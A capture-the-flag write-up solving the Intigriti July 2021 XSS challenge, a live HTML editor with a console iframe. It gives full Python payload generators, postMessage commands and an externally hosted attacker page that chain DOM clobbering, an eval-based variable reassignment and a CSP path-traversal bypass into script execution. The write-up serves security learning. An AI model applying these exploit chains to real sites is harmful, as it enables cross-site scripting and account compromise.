Introduction
Intigriti announced a new challenge. No time to waste…
Link to challenge: https://challenge-0721.intigriti.io/
The code
The page implements some kind of live HTML editor in which you are able to edit html code live and possible errors are shown in the console.
Basically the challenge exist of three files (Click on the arrow to show the code):
Main page - index.php
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Intigriti July Challenge</title>
...
</head>
<body>
<section id="wrapper">
<section id="rules">
...
<div class="card-container">
<div class="card-header-small">Your payloads:</div>
<div class="card-content">
<script>
// redirect all htmledit messages to the console
onmessage = e =>{
if (e.data.fromIframe){
frames[0].postMessage({cmd:"log",message:e.data.fromIframe}, '*');
}
}
/*
var DEV = true;
var store = {
users: {
admin: {
username: 'inti',
password: 'griti'
}, moderator: {
username: 'root',
password: 'toor'
}, manager: {
username: 'andrew',
password: 'hunter2'
},
}
}
*/
</script>
<div class="editor">
<span id="bin">
<a onclick="frames[0].postMessage({cmd:'clear'},'*')">🗑️</a>
</span>
<iframe class=console src="./console.php"></iframe>
<iframe class=codeFrame src="./htmledit.php?code=<img src=x>"></iframe>
<textarea oninput="this.previousElementSibling.src='./htmledit.php?code='+escape(this.value)"><img src=x></textarea>
</div>
</div>
</div>
</section>
</section>
</body>
</html>
HTML editor - htmledit.php?code=test
<!-- test -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Native HTML editor</title>
<script nonce="0481874b582e8335b482ee5305530f41">
window.addEventListener('error', function(e){
let obj = {type:'err'};
if (e.message){
obj.text = e.message;
} else {
obj.text = `Exception called on ${e.target.outerHTML}`;
}
top.postMessage({fromIframe:obj}, '*');
}, true);
onmessage=(e)=>{
top.postMessage({fromIframe:e.data}, '*')
}
</script>
</head>
<body>
test</body>
</html>
<!-- /* Page loaded in 0.000018 seconds */ -->
Console - console.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<script nonce="cbfa2d6d11e7fd79d59008d737f4e33f">
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
</script>
<style>
...
</style>
</head>
<body>
<ul id="console"></ul>
<script nonce="cbfa2d6d11e7fd79d59008d737f4e33f">
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
case 'info':{
line.style.backgroundColor = 'lightcyan';
break;
}
case 'success':{
line.style.backgroundColor = 'lightgreen';
break;
}
case 'warn':{
line.style.backgroundColor = 'lightyellow';
break;
}
case 'err':{
line.style.backgroundColor = 'lightpink';
break;
}
default:{
line.style.backgroundColor = 'lightcyan';
}
}
data = parse(data);
if (!safe){
data = data.replace(/</g, '<');
}
prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;
line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}
log('Connection status: ', window.navigator.onLine?"Online":"Offline")
onmessage = e => {
switch (e.data.cmd) {
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}
case "anchor": {
log("[anchor]: ", s(a(u(e.data.message))), type='info')
break;
}
case "clear": {
document.querySelector('#console').innerHTML = "";
break;
}
default: {
log("[???]: ", `Wrong command received: "${e.data.cmd}"`)
}
}
}
</script>
<script nonce="cbfa2d6d11e7fd79d59008d737f4e33f">
try {
if (!top.DEV)
throw new Error('Production build!');
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
switch(m.cmd){
case "ping": { // check the connection
e.source.postMessage({message:'pong'},'*');
break;
}
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
} catch {
// hide this script on production
document.currentScript.remove();
}
</script>
<script src="./analytics/main.js?t=1627730585"></script>
</body>
</html>
General overview
While approaching a challenge like this it is always good to start to get a general overview without focussing to much on the specific details.
Because this is an XSS challenge, lets keep en eye out for interesting Sources and sinks
Main page
The main page consists of a script which can receive postMessages
and when the message received contains the fromIframe
property the message is send to the first page in the frame (which is the console.php page)
A piece of code is commented out. It seems like a development mode will become available when setting the DEV
global variable to true
.
Also a store
is defined with some hardcoded usernames and passwords.
The rest of the page consists of HTML code. It includes the Console and HTML editor pages as iframes. A postMessage ‘clear’ can be send to the console by clicking a trashbin icon. A textarea is used so that users of the site can test their own HTML code. The code typed there is injected into the HTML editor using the oninput
event.
- Interesting sink: user input is entered in the textbox and supplied to the HTML Editor using the
code
query parameter. Notice that the code entered is reflected in the HTML Editor.
Html edit page
This page is short and simple. The PHP code reflects the code
query parameter. HTML code can be supplied as well. The script inside the page installs an error event listener which will forward an error to the top window by means of a postMessage. The top window (the Main page) will forward this message to the Console page.
Also an message event listener is installed. It will simply forward the received message to the top window. Not sure how this is used exactly.
- Page will forward a received message to the top window.
Console page
The console page is much more interesting than the other ones. This page handles the incomming messages by registering an message event listener and is able to show different types of issues on the screen (info, success, warn, err). The page will not load when it is the top window. A log function is define which handles the logging. The parse function looks like this:
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
prefix
, data
, type
and safe
. The data
argument can be controlled by the user. Some sanity checking on the data
parameter is implemented:
if (!safe){
data = data.replace(/</g, '<');
}
Only the < character is escaped which mitigates HTML code injections.
The data
and prefix
values are inserted into the element using the innerHTML property:
text_tag.innerHTML = data;
Three types of postMessages are handled: log
, anchor
and clear
. The log
and anchor
are interesting because both log user supplied input. The anchor tag also executes the s
, a
, and u
functions on the data.
When the top frame is in development mode, that is, the DEV
variable is set, some extra code is executed. It enables some extra message handling, namely: ping
, logv
, compare
and reassign
. ping
does not handle user input, logv
handles user input by logging the variable window[m.message]
to the screen, compare
only outputs true or false to the screen based on user input and reassign
is more complicated. It will set a global variable chosen by the user equal to another global variable chosen by the user. Worth noting is that the variable names are checked by a regular expression which only allows the characters s to z, A to Z, the numbers 0 to 9 and the ‘+’ and ‘-’ signs.
It implements its functionality by using the unsafe eval
function.
The script also includes the analytics/main.js
script which currently only contains some comments.
- Page will not load when it is the top window
- Some helper functions are stored in variables (a, s, u and t)
- When parsing postMessages the < is escaped.
- postMessages are allowed cross origin
reassign
uses an unsafeeval
function, but has strict sanity checking.- The origin of the postMessage is not checked, so every origin can send a postMessage to this page.
The attack
The whole attack consist of 5 steps shown below
Step 1 - First idea
Because the HTML Editor is easy to test and it is not know if any sanity checking is implemented in the php script, lets try to inject a script.
Visit: https://challenge-0721.intigriti.io/htmledit.php?code=%3Cscript%3Ealert(1)%3C/script
No alert box is show. When enabling the javascript console the following error can be seen:
It seems like script execution is blocked by the Content Security Policy (CSP). Lets inspect that header:
script-src 'nonce-01ea3bd0d1e8aa23d95fc540e5429657';frame-src https:;object-src 'none';base-uri 'none';
Every script needs a correct nonce for it to be executed by the browser. For every request the nonce is changed, so it is not possible to use a fixed nonce. It does not seem that this policy will allow us to execute script.
Note that a further investigation of the eventlisteners on the HTML Editor page can be done, but these do not reflect any user input. They only send stuff to the top window by using a postMessage. Sending post messages to the Console page is allowed because the origin is not checked, so no need to look further into this right now.
Step 2 - Bypass top.DEV
The Console page looks interesting with a sink innerHTML
and an unsafe eval
function. Because the previous page gave a CSP error, lets first look if the console.php page has a CSP enabled:
content-security-policy: script-src 'nonce-25818ace5b613e780fb1ef819e3e788a' https://challenge-0721.intigriti.io/analytics/ 'unsafe-eval';frame-src https:;object-src 'none';base-uri 'none';
That is a bummer. A fairly strict CSP, but this one has a whitelist enabled which allow all scripts on host/analytics to run. Also nonces are implemenented, so even if javascript code could be injected, no execution will take place.
Anyway, maybe the nonce can be stolen somehow. Or the whitelisted url can be exploited. Lets try to investigate the code to see if it is possible to inject some code. postMessages can be send from anywhere, so do not worry about that.
It is not possible to inject code because of the data.replace(/</g, '<');
replacement, so testing the commands log
or anchor
will probably not help us. Lets focus first to be able to execute the commands ping
, logv
, compare
or reassign
.
First question: How can the if (!top.DEV)
check be bypassed? Somehow the top frame should have the DEV variable set. No javascript code can be executed to achieve this, but maybe DOM clobbering can be used? Because the iframe references the top.DEV
variable the top.DEV
needs to be defined in the same origin, otherwise the Same Origin Policy (SOP) security mechanism will interfer. This means that no other origin can host the top page. But html code can be injected using the HTML Editor page. Lets try to create a custom top level page by using the HTML Editor.
The code
parameter needs to be URL encoded so lets create a little script:
Click to view python script
import urllib.parse
baseurl="https://challenge-0721.intigriti.io/"
iframedev="<iframe name=\"DEV\"></iframe>"
top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev))
print(top_htmledit)
An iframe is created:
<body>
<iframe name="DEV"></iframe></body>
Lets add the Console page as well so access to top.DEV
from the Console page can be tested:
Click to view python script
import urllib.parse
baseurl="https://challenge-0721.intigriti.io/"
iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"
top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + consolemain))
print(top_htmledit)
Using the chromium debugger the top.DEV
variable can be accessed. Because no type checking is done on the variable, it is enough that the variable ’exists’.
The message handler of the protected functions also calls the checkCredentials
function which needs to be bypassed. An idea on how to do this is already present in the main page. The page expects that a global variable with a user store is present (named store
) which needs to contain allowed users. In the main page the users are defined based on property names “admin”, “moderator” and “manager”. Only one valid user is needed, so lets try to create an admin. Per user, a username and password should be available.
Lets nest the iframes in order to create the store, users and an admin user. The username and password can be set by means of an anchor. See HTMLAnchorElement/username and HTMLAnchorElement/password.
Click to view python script
import urllib.parse
baseurl="https://challenge-0721.intigriti.io/"
ahref="https://admin:password@test"
a="<a id=\"admin\" href=\"{}\"></a>".format(ahref)
a_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(a))
iframeusers="<iframe name=\"users\" src=\"{}\"></iframe>".format(a_htmledit)
iframeusers_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframeusers))
iframestore="<iframe name=\"store\" src=\"{}\"></iframe>".format(iframeusers_htmledit)
iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"
top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + consolemain + iframestore))
print(top_htmledit)
Resulting url: https://challenge-0721.intigriti.io/…
As can be seen, the python script is really handy because of all the nesting going on. After visiting the page, all the iframes can be seen. The last iframe contains the anchor link with username and password as shown below.
Lets try to send the logv message to the console. This one should print the name of the window in the Console, which indeed works:
Step 3 - CSP and innerHTML issues
This step took a while. I can execute the available functions but how can I exploit this? After looking at the code for a while I noticed two things:
- The order of parameters when calling
log()
on the ’logv’ and ‘compare’ handlers is wrong. Thesafe
parameter should be the fourth one. On de logv function the string “info” is used on the safe parameter and because the check is implemented like this:if (!safe)
. This means that the < character will not be escaped. This allows for injecting HTML code. - The parse function makes a call to the function stored in variable
s
to normalize the input. Because the functions are stored in variables they can be swapped around by use of thereassign
message. It seems like theeval
is too restricted to do anything else.
After a while (and based on a hint posted by Intigriti on Twitter) I noticed that the x
variable which is used in the checkCredentials()
function is everywhere availabe because it is a global variable.
Lets see what the x
contains:
<a id="admin" href="https://admin:password@test"></a>
Lets try to inject it into the Console:
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"logv", "message":"x"},"*");
The output on the console looks like this:
[logv]: {}
This is caused by the fact that the element provided to the parse function is not a string but an anchor object. This means that JSON.stringify()
cannot make a valid string object from this object.
Remember that the reassign handler also allowed the + and - characters. Maybe it can be used to convert the object to a valid string by adding 1 to it and so indirectly calling the toString function? Lets try:
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"reassign", "message":{"a":"z","b":"x+1"}},"*");
Inspecting z gives the output:
"https://admin:password@test/1"
Nice, making progress…
Code injection in the script is possible (using global variable x
) and escaping can be disabled (by using the logv function). Lets combine these two and inject a script.
But wait… scripts are blocked on the console.php page. It is also not possible to inject scripts in using innerHTML. How to continue?
Two issues exist:
- CSP blocks executing scripts
- innerHTML does not allow scripts
First issue - CSP blocks scripts
The javascript has to be executed on the correct origin, but executing scripts is blocked unless the nonce value is known. The nonce value changes every time and seems secure. Maybe this can be exploited using the whitelisted url https://challenge-0721.intigriti.io/analytics/ which was noticed before?
After some reseach a bypass was found. You can insert %2f..%2f into the url and trick the CSP logic in the browser and allowing script executions on unintended urls. E.g. Including a some script as follows: https://challenge-0721.intigriti.io/analytics%2f..%2f/somescript.js will do the trick.
But no script is available on the challenge site. Lets first see whether this trick works by generating a page using the well known htmledit.php like this: https://challenge-0721.intigriti.io/analytics%2f..%2f/htmledit.php?code=test
Second issue - innerHTML blocks scripts
Still the innerHTML script blocking feature needs to be bypassed. This can be done by using an iframe with attribute srcdoc.
Lets combine above solutions and adapt our script accordingly:
Click to view python script
import urllib.parse
baseurl="https://challenge-0721.intigriti.io/"
exploit="<script src=\""+baseurl+"analytics%2F..%2Fhtmledit.php?code=test\"></script>"
ahref="https://admin:password@test#<iframe srcdoc='{}'></iframe>".format(urllib.parse.quote(exploit))
a="<a id=\"admin\" href=\"{}\"></a>".format(ahref)
a_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(a))
iframeusers="<iframe name=\"users\" src=\"{}\"></iframe>".format(a_htmledit)
iframeusers_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframeusers))
iframestore="<iframe name=\"store\" src=\"{}\"></iframe>".format(iframeusers_htmledit)
iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"
top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + consolemain + iframestore))
print(top_htmledit)
Resulting url: https://challenge-0721.intigriti.io/…
Lets send the following postMessages manually like before:
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"reassign", "message":{"a":"z","b":"x+1"}},"*");
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"logv", "message":"z"},"*");
What!? The output does not seem to be correct:
Notice that when converting an anchor to an string (with the x+1) the output url is escaped. Lets try to find a way to unescape this url. Remember that the parse function above had a call to the s()
function. This needs to point to the u()
function which will unescape strings like this:
let u = (s) => unescape(s);
The combined postmessage look like this:
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"reassign", "message":{"a":"z","b":"x+1"}},"*");
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"reassign", "message":{"a":"s","b":"u"}},"*");
postMessage({"credentials": {"username":"admin","password":"password"}, "cmd":"logv", "message":"z"},"*");
Executing this gives:
Uncaught SyntaxError: Unexpected token '<'
This is good. It means that the generated page is executed as a script. It will first encounter the HTML tag starting with < which it cannot parse. This is logical because it is not valid javascript. But how can a script be executed which shows the alert(document.domain)
popup?
Step 4 - Execute javascript code
Lets look at the generated page on the url: https://challenge-0721.intigriti.io/htmledit.php?code=test
<!-- test -->
<!DOCTYPE html>
<html lang="en">
...
<body>
test</body>
</html>
<!-- /* Page loaded in 0.000018 seconds */ -->
Notice the weird comment in the bottom of the page. It also contains the javascript /* */ style comments. Also an echo in the beginning of the page is present. This can maybe be used to inject some valid javascript code. Lets break first out of the <!--
comment. This is in fact a valid javascript comment. It it supported by javascript in the beginning because older browsers which could not understand the <script>
tag would otherwise not be able to parse the javascript. By introducing the <!--
just after the script tag the older browsers would just skip the code while the newer browsers would execute the javascript code. Nowadays this is not needed anymore, but back in the day this was really necessary.
Breaking out of the <!--
can be done by injecting an newline. After that, the famous alert(document.domain)
code can be executed. One needs to make sure that the rest of the HTML is not executed by javascript. This can simply be done by injecting a start of a block comment /*
. This can be done because a matching end of block comment is found in the bottom of the page.
Putting these ideas in the script resulted in the following:
Click to view python script
import urllib.parse
baseurl="https://challenge-0721.intigriti.io/"
exploit="<script src=\""+baseurl+"analytics%2F..%2Fhtmledit.php?code=%0Aalert(document.domain)%3B%2F*\"></script>"
ahref="https://admin:password@test#<iframe srcdoc='{}'></iframe>".format(urllib.parse.quote(exploit))
a="<a id=\"admin\" href=\"{}\"></a>".format(ahref)
a_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(a))
iframeusers="<iframe name=\"users\" src=\"{}\"></iframe>".format(a_htmledit)
iframeusers_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframeusers))
iframestore="<iframe name=\"store\" src=\"{}\"></iframe>".format(iframeusers_htmledit)
iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"
top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + consolemain + iframestore))
print(top_htmledit)
Resulting url: https://challenge-0721.intigriti.io/…
Finally the popup is shown. The finish line is in sight. The postMessages still need to be send to the console window.
Step 5 - Putting it al together
How can postMessages be send to the console window?
Don’t worry about the SOP, that is not applicable to postMessages. Lets send a postMessage to the console window by introducing another iframe on the side. This can point to another domain. That site can execute scrips which can sent the postmessages automatically.
Lets first create the custom page on which the external script will be hosted. Next, adapt the python script so another iframe is introduced. Lets make it so that the console is a child iframe of our own html page. This makes it easy to send postMessages to it.
<html>
<head></head>
<body>
<iframe name="consolemain" src="https://challenge-0721.intigriti.io/console.php"></iframe>
<script>
window.onload = () => {
let w = document.querySelector("iframe").contentWindow
w.postMessage({"credentials": {"username": "admin","password": "password"},"cmd": "reassign","message" : {"a":"s","b":"u"}}, '*');
w.postMessage({"credentials": {"username": "admin","password": "password"},"cmd": "reassign","message" : {"a":"z","b":"x+1"}}, '*');
w.postMessage({"credentials": {"username": "admin","password": "password"},"cmd": "logv","message" : "z"}, '*');
}
</script>
</body>
</html>
The new python script:
Click to view python script
import urllib.parse
baseurl="https://challenge-0721.intigriti.io/"
evilurl="https://miluxsec.nl/"
exploit="<script src=\""+baseurl+"analytics%2F..%2Fhtmledit.php?code=%0Aalert(document.domain)%3B%2F*\"></script>"
ahref="https://admin:password@test#<iframe srcdoc='{}'></iframe>".format(urllib.parse.quote(exploit))
a="<a id=\"admin\" href=\"{}\"></a>".format(ahref)
a_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(a))
iframeusers="<iframe name=\"users\" src=\"{}\"></iframe>".format(a_htmledit)
iframeusers_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframeusers))
iframestore="<iframe name=\"store\" src=\"{}\"></iframe>".format(iframeusers_htmledit)
iframedev="<iframe name=\"DEV\"></iframe>"
consolemain="<iframe name=\"consolemain\" src=\""+baseurl+"console.php\"></iframe>"
nested="<iframe name=\"nested\" src="+evilurl+"fe9752d8407a1a2eacc0d1de56362d45.html></iframe>"
top_htmledit=baseurl+"htmledit.php?code={}".format(urllib.parse.quote(iframedev + nested + iframestore))
print(top_htmledit)
Resulting url: https://challenge-0721.intigriti.io/…
Finally, the popup shows ;-)
* Note that the exploit code is not hosted anymore.